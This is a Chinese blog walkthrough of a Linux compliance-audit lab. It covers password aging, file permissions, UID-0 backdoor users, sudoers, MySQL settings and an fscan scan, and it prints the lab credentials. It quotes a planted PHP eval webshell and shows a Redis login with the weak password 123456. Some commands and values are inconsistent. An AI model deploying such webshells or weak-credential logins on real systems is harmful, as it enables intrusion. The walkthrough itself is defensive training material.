当前位置: 首页 > ai >正文

玄机——Linux等保测评

本篇文章主要是进行Linux的等保测评

文章目录

  • 题目要求:
    • 靶机的相关信息
    • 1.查看相应文件,账户xiaoming的密码设定多久过期
    • 2.查看相应文件,设置的密码到期规则是多少按照flag{提醒时间-最大时间}进行提交
    • 3.已安装ssh,请提交当前SSH版本
    • 4.对passwd及shadow文件权限分配进行权限值提交并提交是否合规如:644+true
    • 5.结合相关知识检查在系统中存在可疑用户,进行提交用户名,多个用户名以+号连接
    • 6.结合相关知识,对没有进行权限分离的用户进行提交
    • 7.结合相关知识,提交审计日志功能状态
    • 8.审计相关日志,查看zhangsan用户尝试使用sudo但登录失败的日志,提交其时间,如flag{Jun 23 00:39:52}
    • 9.结合相关合规知识,提交相关系统内核版本
    • 10.对开启的端口排查,结合应急响应知识,对开放的相关恶意端口进行提交
      • Linux 常用排查命令有哪些?
    • 11.已知相应的WEB恶意端口,提交其隐藏文件中flag
    • 12.结合相关知识,提交MySQL存在空口令风险的用户名,多个用户名已+连接
    • 13.结合相关知识,对MySQL密码复杂度查询到的最小长度进行提交
    • 14.结合相关知识,对MySQL登录最大失败次数查询并提交
    • 15.结合相关知识,对MySQL超时返回最大时常进行提交(秒为单位)
    • 16.结合相关知识,对MySQL锁定用户数量进行提交
    • 17.提交MySQL全局日志状态 OFF或ON
    • 18.提交当前MySQL数据库版本
    • 19.使用/root/fscan/fscan对本地进行扫描,对存在漏洞的端口进行提交,多个端口以+连接
    • 20.根据找到其中的一个应用服务漏洞,提交数据中的flag
    • 21.根据搭建服务端口12345进行渗透测试,提交命令执行的whoami回显包
    • 总结


题目要求:

在开始之前,我们首先要知道什么是等级保护:

(1)等级保护(网络安全等级保护)是我国网络安全领域的基本制度,指对国家关键信息基础设施、网络和信息系统,按重要程度划分为不同安全保护等级
(2)通常来说,等级保护测评指标,基于网络安全等级保护 2.0 标准(GB/T 22239-2019),覆盖技术与管理两大维度,适用于第二级、第三级系统(一级要求相对基础,四级、五级为国家级关键系统,要求更高且需专项管理)


靶机的相关信息

主机账号: root
主机密码: dengbao123
小皮账号: admin
小皮密码: dengbao123
小皮登录地址:http:ip:9080/48D41A/
MySQL账号: root 端口: 33060
MySQL密码: dengbao123
渗透WEB后台账号: admin
渗透WEB后台密码: password

镜像下载地址: 天翼网盘不限速: https://cloud.189.cn/t/eQvuIfqY3Irm (访问码:0hh8)

文章引用参照:此处


1.查看相应文件,账户xiaoming的密码设定多久过期

这里我们下载好镜像后,输入账号密码进入靶机。
在这里插入图片描述

从登录页面,我们可以知道Ubuntu的版本,以及IP地址;
/etc/passwd 则是Linux存储用户信息的文件,所以通常在Linux中,攻击者不会像Windows那样隐藏用户进行权限维持;
在这里插入图片描述
也是发现xiaoming这个账号确实存在;

根据题目,我们可以查看/etc/shadow 这个文件,通常密码都是保存在此处;
在这里插入图片描述


但这里要看懂,我们要知道shadow文件下各字段分别代表什么:

用户名:加密密码:最后修改时间:最小期限:最大期限:警告天数:宽限天数:失效日期:保留字段
root:$6$salt$hashed:18934:0:90:7:10:19999:
  1. 登录系统的用户名为root
  2. 经过算法以及salt加密后的hash值,$6$代表SHA-512算法(默认,安全性较高)
  3. 自 1970 年 1 月 1 日起的天数,表示上次修改密码的日期,(可通过date -d @$(echo $((18934*86400)) | bc)换算)
  4. 两次修改密码的最小间隔天数(0 表示无限制)
  5. 最大期限(超过后必须修改),默认值为99999(约 273 年,即密码永不过期)
  6. 密码过期前提前提醒的天数(默认 7 天)
  7. 密码过期后仍允许登录的天数(0 表示立即失效,-1 表示永久有效)
  8. 账户被禁用的日期(自 1970 年 1 月 1 日起的天数)
  9. 预留未使用,通常为空

根据上图,我们可以知道7天后过期:

flag{7}

2.查看相应文件,设置的密码到期规则是多少按照flag{提醒时间-最大时间}进行提交

这里我们要知道应该到哪个文件去寻找

系统全局的密码到期规则定义在 /etc/login.defs 文件中,其中两个关键参数决定了密码有效期和警告时间:

  • PASS_MAX_DAYS:密码最长使用天数(超过后必须修改)。
  • PASS_WARN_AGE:密码过期前的警告天数
输入命令进行查看:
cat /etc/login.defs | more  # more是为了将内容分页,方便查看

一番搜寻后也是找到了结果:
在这里插入图片描述

所以flag{提醒时间-最大时间} :flag{PASS_WARN_AGE - PASS_MAX_DAYS}

flag{7-99999}

3.已安装ssh,请提交当前SSH版本

为防止在远程传输过程中被窃听等行为,需查看相应端口和服务,如SSH,telnet等,SSH默认已开启,获取相应版本自行搜集版本是否存在漏洞即可,熟悉流程

题目要求我们查看ssh的版本,很简单,一条命令即可:

ssh -V # v表示版本

结果为:
在这里插入图片描述

所以flag结果为:flag{OpenSSL 3.0.2}
不对?这里提交的时候我也懵了很久,后面查询资料后才知道:

SSH 与 OpenSSL 的本质区别
SSH(Secure Shell)
是用于安全远程登录和数据传输的网络协议,其具体实现通常为 OpenSSH 软件(Linux 系统默认使用)。
版本号格式:如 OpenSSH_8.9p1,其中 8.9p1 是 SSH 软件的版本号,代表功能、安全特性和补丁更新。
OpenSSL
是开源的加密库,为 SSH 提供加密算法支持(如 AES、RSA 等)。
版本号格式:如 OpenSSL 3.0.2,仅表示加密库的版本,与 SSH 功能特性无直接关联。

所以:要看他最前面的字段

flag{OpenSSH_8.9p1}

4.对passwd及shadow文件权限分配进行权限值提交并提交是否合规如:644+true

为了实现对用户权限的访问控制,一般限制配置文件权限分配不超过644,可执行文件不超过755

可使用命令:

# 查看passwd文件权限
stat -c '%a' /etc/passwd# 查看shadow文件权限
stat -c '%a' /etc/shadow

显示结果为这两个文件都不合规,
在这里插入图片描述


当然,也可以使用rwx进行分辨:

# 还可以使用其他命令
ls -l /etc/passwd /etc/shadow

结果为:
在这里插入图片描述


额外知识补充

  • 权限说明

    r = read 读
    w = write 写
    x = execute 执行

  • 对应的分值:
    r = 4
    w = 2
    x = 1

在这里插入图片描述

例如:d rwx r-x r-x中:

(1)d表示目录
(2)rwx表示所属用户的权限 user
(3)r-x表示所属组的权限 group
(4)r-x表示其他用户的权限 other


根据上述的描述,所以结果:

flag{755+false}

5.结合相关知识检查在系统中存在可疑用户,进行提交用户名,多个用户名以+号连接

根据题目的信息,我们应该查看的就是/etc/passwd文件,原因就不多说了,dddd

输入命令:

cat /etc/passwd |more # more还是为了方便显示

在这里插入图片描述

通常情况下,由用户创建的普通用户,他的UID都是1000开始的,所以我们可以重点锁定几个目标:

在这里插入图片描述

一步步排查,先排查可登录用户,再排查用户的权限,发现用户yunwei和wangwei具有root权限,我们可以找到相关人员核实:
在这里插入图片描述

发现其中的yunwei和wangwei用户具有root权限;而security以及zhangsan则需要密码进行登录:


在这里插入图片描述

此处应急响应的时候也可以用到,主要查看在用户家目录,root 或者home目录,以及passwd和shadow文件的可疑用户和字段,此处我们查看/etc/passwd文件:cat /etc/passwd|grep home

在这里插入图片描述

我们要知道,Linux中uid或者gid等于0的都属于roo组,也就是超级管理员权限;这在一个普通用户身上是不正常的;

问: 结合相关知识检查在系统中存在可疑用户,进行提交用户名,多个用户名以+号连接
答: flag{yunwei+wangwei}

6.结合相关知识,对没有进行权限分离的用户进行提交

什么是权限分离?如何进行判断?
(1) 首先,在 Linux 系统中,权限分离是保障系统安全的核心原则(如普通用户与管理员权限分离、避免权限滥用)。若发现用户未进行权限分离(如普通用户拥有过高权限、直接使用 root 操作等),需通过权限审计、权限回收、最小权限配置等操作修复。
(2)通过sudo -l命令可查看用户允许以 root 身份执行的命令,若普通用户拥有无限制sudo权限(如ALL=(ALL) ALL),则权限分离失效。

示例:
user1 ALL=(ALL) ALL  # 用户可执行任何命令
user2 ALL=(ALL) NOPASSWD: ALL  # 免密执行任何命令(高风险)

所以我们可以通过 cat /etc/sudoers |more 来查看以及管理用户最小权限:

在这里插入图片描述
这里我们可以看到zhangsan竟然与root用户拥有同样的权限,这是不正确的;

flag{zhangsan}

7.结合相关知识,提交审计日志功能状态

在 Linux 系统中,审计日志功能状态的查看与分析是系统安全运维的重要环节。
对于日志审计功能,我们要求必须开启,且日志需要保留至少6个月以上,此处我们查询syslog是否开启,对日志开启状态进行提交

sudo systemctl status syslog # sudo表示root身份运行,其他身份都无此权限

(这里换成了xshell,因为在靶机输入字太小了)
在这里插入图片描述
可以看到运行结果是active 所以结果为:

flag{active}

8.审计相关日志,查看zhangsan用户尝试使用sudo但登录失败的日志,提交其时间,如flag{Jun 23 00:39:52}

(1)在Linux中,通常用户尝试远程登录ssh的记录都是保存在 /var/log/auth.log 这个目录下;
(2)并且可以通过匹配“Failed password” 或者 ”Accepted password“来检验登录成功还是失败;(具体的可以看这篇文章)的Linux日志分析部分

进入到/varlog 目录后,我们可以看到有着许多日志,而access.log则是apache服务器的日志;
在这里插入图片描述

所以具体步骤我就不说了,不懂的可以看上面那篇文章直接开始操作:

在这里插入图片描述
从图中可以看出,刚开始创建了zhangsan这个用户,然后切换到zhangsan账号后(su:(to zhangsan)),但是授权失败了,所以将此时的时间记录下来即可:

flag{Jun 23 01:38:20}

9.结合相关合规知识,提交相关系统内核版本

需确认当前系统内核版本是否为最新或版本是否存在漏洞,执行:uname -a进行查看到内核版本,是否存在漏洞自行搜集

uname -a

结果显示:
在这里插入图片描述
所以结果为:

flag{5.15.0-112-generic}

10.对开启的端口排查,结合应急响应知识,对开放的相关恶意端口进行提交

应急响应中,对端口进行排查的话,可以使用netstat -antlp |more 查看当前正在运行的进程列表;

Linux 常用排查命令有哪些?

  1. top:显示当前系统中最占用 CPU 和内存的进程。
  2. ps:显示当前系统所有运行的进程列表。
  3. netstat:显示网络连接状态和统计信息,例如打开的端口、TCP/UDP 连接和网络接口等。
  4. ifconfig/iwconfig:显示网络接口的状态和配置信息。
  5. ping/traceroute:用于测试网络是否连通以及检测网络故障的工具。
  6. df/du:显示磁盘使用情况,包括已用空间和可用空间等信息。
  7. ls/lsof:用于查看打开的文件、目录和文件描述符。
  8. strace/ltrace:跟踪应用程序执行期间的系统调用和库函数调用。
  9. tcpdump:捕获网络数据包并将其记录到日志文件中,以便进行后续分析。
  10. tail:实时监视日志文件,并显示最新添加的日志信息。

在这里插入图片描述

已知8090和9080为小皮面板,PHP study搭建,WEB服务直接登录PHP study即可,输入命令:xp,然后输入6查看到面板信息,根据给到的账号密码登录进行排查即可;

复制给到的url链接,直接复制外网链接即可,输入账号密码登录,点击网站可以查看所有对外映射站点,查看站点目录文件及端口:
在这里插入图片描述

这里为了访问方便,我就在同网段又开了台kali,进行访问:192.168.195.142:9080/48D41A
在这里插入图片描述

输入账号密码后(admin:dengbao123),即可进到管理页面:

在这里插入图片描述
点击进入后也是发现了相应的hack文件:
在这里插入图片描述
在这里插入图片描述
这里有着三个端口,5566,8899,12345,都是试着提交一遍,最终发现5566是最终的结果:

flag{5566}

11.已知相应的WEB恶意端口,提交其隐藏文件中flag

这个就很简单了,之间进入查看.hacker.php隐藏文件即可:
在这里插入图片描述

这时候我们也可以回到靶机去到相应的目录进行查看:
在这里插入图片描述

<?php @eval($_POST['781n569ebf71c9e6894b779456d330e']); ?>

所以结果为:

flag{7815696ecbf1c96e6894b779456d330e}

12.结合相关知识,提交MySQL存在空口令风险的用户名,多个用户名已+连接

此处注意,MySQL端口为33060,已在文章处标注,3306为小皮搭建,无法远程控制,此处推荐使用远程连接的方式进行控制,或熟悉docker的师傅可以进入对应容器进行操作,此处我使用Navicat

MySQL账号: root 端口: 33060
MySQL密码: dengbao123

这里使用语句:select user,authentication_sring from mysql.user
或者SELECT User FROM mysql.user WHERE authentication_string = '' OR authentication_string IS NULL;

  • 该查询会从系统表 mysql.user 中筛选出密码字段(authentication_string)为空字符串或 NULL 的用户
  • 返回结果为所有存在空口令风险的用户名列表

在这里插入图片描述
这里我们发现yunwei这个账户是没有密码的,不符合等保的标准;

flag{yunwei}

13.结合相关知识,对MySQL密码复杂度查询到的最小长度进行提交

应等保合规性要求,密码复杂度需要一定配置,默认情况下MySQL是没有装载相关插件的此处已进行装载插件,我们进行查询:show variables like 'validate%';

或者SELECT User FROM mysql.user WHERE authentication_string = '' OR authentication_string IS NULL;

  • 该查询会从系统表 mysql.user 中筛选出密码字段(authentication_string)为空字符串或 NULL 的用户

在这里插入图片描述

flag{8}

14.结合相关知识,对MySQL登录最大失败次数查询并提交

为了防止暴力破解及合规性要求,需设置密码错误次数后冻结等操作,此处已进行装载插件,执行命令查询:show variables like '%connection_control%';

或者SHOW VARIABLES LIKE 'max_connect_errors';

  • max_connect_errors 参数控制单个 IP 地址因登录失败被临时阻止的最大尝试次数

在这里插入图片描述

可以看到最多允许账号登陆时密码错误3次,实际可根据要求进行配置。所以结果为:

flag{3}

15.结合相关知识,对MySQL超时返回最大时常进行提交(秒为单位)

为防止远程连接超时,连接时长时间不操作及可能被窃取会话可能,包括合规性检查,我们需设置并检查超时最大时间容忍上限:show variables like "%timeout%"; 并对时间进行提交:
在这里插入图片描述

flag{28800}

16.结合相关知识,对MySQL锁定用户数量进行提交

为了对合规性满足要求,以及是否在运维本身不知情的情况下,MySQL某些用户存在开启状态,从而可能造成危害:select user,account_locked from mysql.user;

在这里插入图片描述

flag{3}

17.提交MySQL全局日志状态 OFF或ON

应对合规性要求,相关日志功能需要开启且日志需保留至少6个月,需要检查相关功能是否开启且正常:select user,account_locked from mysql.user;

在这里插入图片描述

flag{OFF}

18.提交当前MySQL数据库版本

通常情况下可以使用mysql --version 进行查询;

在这里插入图片描述
或者使用:在MySQL内部使用命令查询到版本:select @@version; select version();

flag{8.0.27}

19.使用/root/fscan/fscan对本地进行扫描,对存在漏洞的端口进行提交,多个端口以+连接

漏洞扫描是等保测评的一部分,我们此处只进行模拟,我们使用**/root/fscan/fscan**进行扫描本地127.0.0.1存在的漏洞进行验证

这里我首先查看fscan的文件类型,发现是个可执行文件,所以使用命令./fscan -h 127.0.0.1 进行扫描:
在这里插入图片描述
在这里插入图片描述
可以看到8848以及6379的Redis服务端口可能存在漏洞;

flag{6379+8848}

执行命令:./fscan -h 127.0.0.1 看到扫描出存在漏洞的端口为8848/nacos服务以及6379/redis存在的弱口令

在这里插入图片描述

redis弱口令为123456,我们执行redis-cli -h 127.0.0.1登录验证成功
在这里插入图片描述
在这里插入图片描述
验证成功;

20.根据找到其中的一个应用服务漏洞,提交数据中的flag

21.根据搭建服务端口12345进行渗透测试,提交命令执行的whoami回显包

总结

剩下两个触及到知识盲区了,之后再补充。


http://www.xdnf.cn/news/12142.html

相关文章:

  • 游戏开发中的CI/CD优化案例:知名游戏公司Gearbox使用TeamCity简化CI/CD流程
  • 山东大学深度学习期末概念汇总
  • 音视频之视频压缩编码的基本原理
  • StoreView SQL,让数据分析不受地域限制
  • Java八股文——集合「Map篇」
  • Agentic AI 和 Agent AI 到底区别在哪里?
  • 华为云CentOS配置在线yum源,连接公网后,逐步复制粘贴,看好自己对应的版本即可,【新手必看】
  • [蓝桥杯]螺旋矩阵
  • KMP算法:如何通过 next 数组推导模式串该从哪里继续匹配
  • Vue3解决“找不到模块@/components/xxx.vue或其相应的类型声明ts文件(2307)”
  • 华为云Flexus+DeepSeek征文| 华为云Flexus X实例单机部署Dify-LLM应用开发平台全流程指南
  • Vue ②-computed || watch || 指令
  • oracle数据恢复—oracle数据库执行truncate命令后的怎么恢复数据?
  • deepseek-r1-0528-qwen3-8b本地部署:Ollama老版本大升级至0.9.0
  • Three.js光与影代码分析及原理阐述
  • C++STL-sting类的模拟实现
  • nginx.conf配置详解:从(413 Request Entity Too Large)说起
  • Scrum基础知识以及Scrum和传统瀑布式开发的区别
  • 计算机磁盘旁黄色警示标志消除|BitLocker关闭方法
  • <论文>(微软)WINA:用于加速大语言模型推理的权重感知神经元激活
  • 众趣科技与我爱我家达成战略合作:AI空间计算技术赋能重塑房产服务新范式
  • 服务器安装软件失败或缺依赖怎么办?
  • 使用vue3+ts+input封装上传组件,上传文件显示文件图标
  • 【试卷篇】Spring面试试卷题
  • POP3、IMAP、SMTP:三大邮件协议核心差异与应用场景解析
  • IO流听不懂?如何快速上手
  • 解读《网络安全法》最新修订,把握网络安全新趋势
  • 理解电池的极化:极化内阻与欧姆内阻解析
  • 在NLP文本处理中,将字符映射到阿拉伯数字(构建词汇表vocab)的核心目的和意义
  • 网络原理3—TCP 2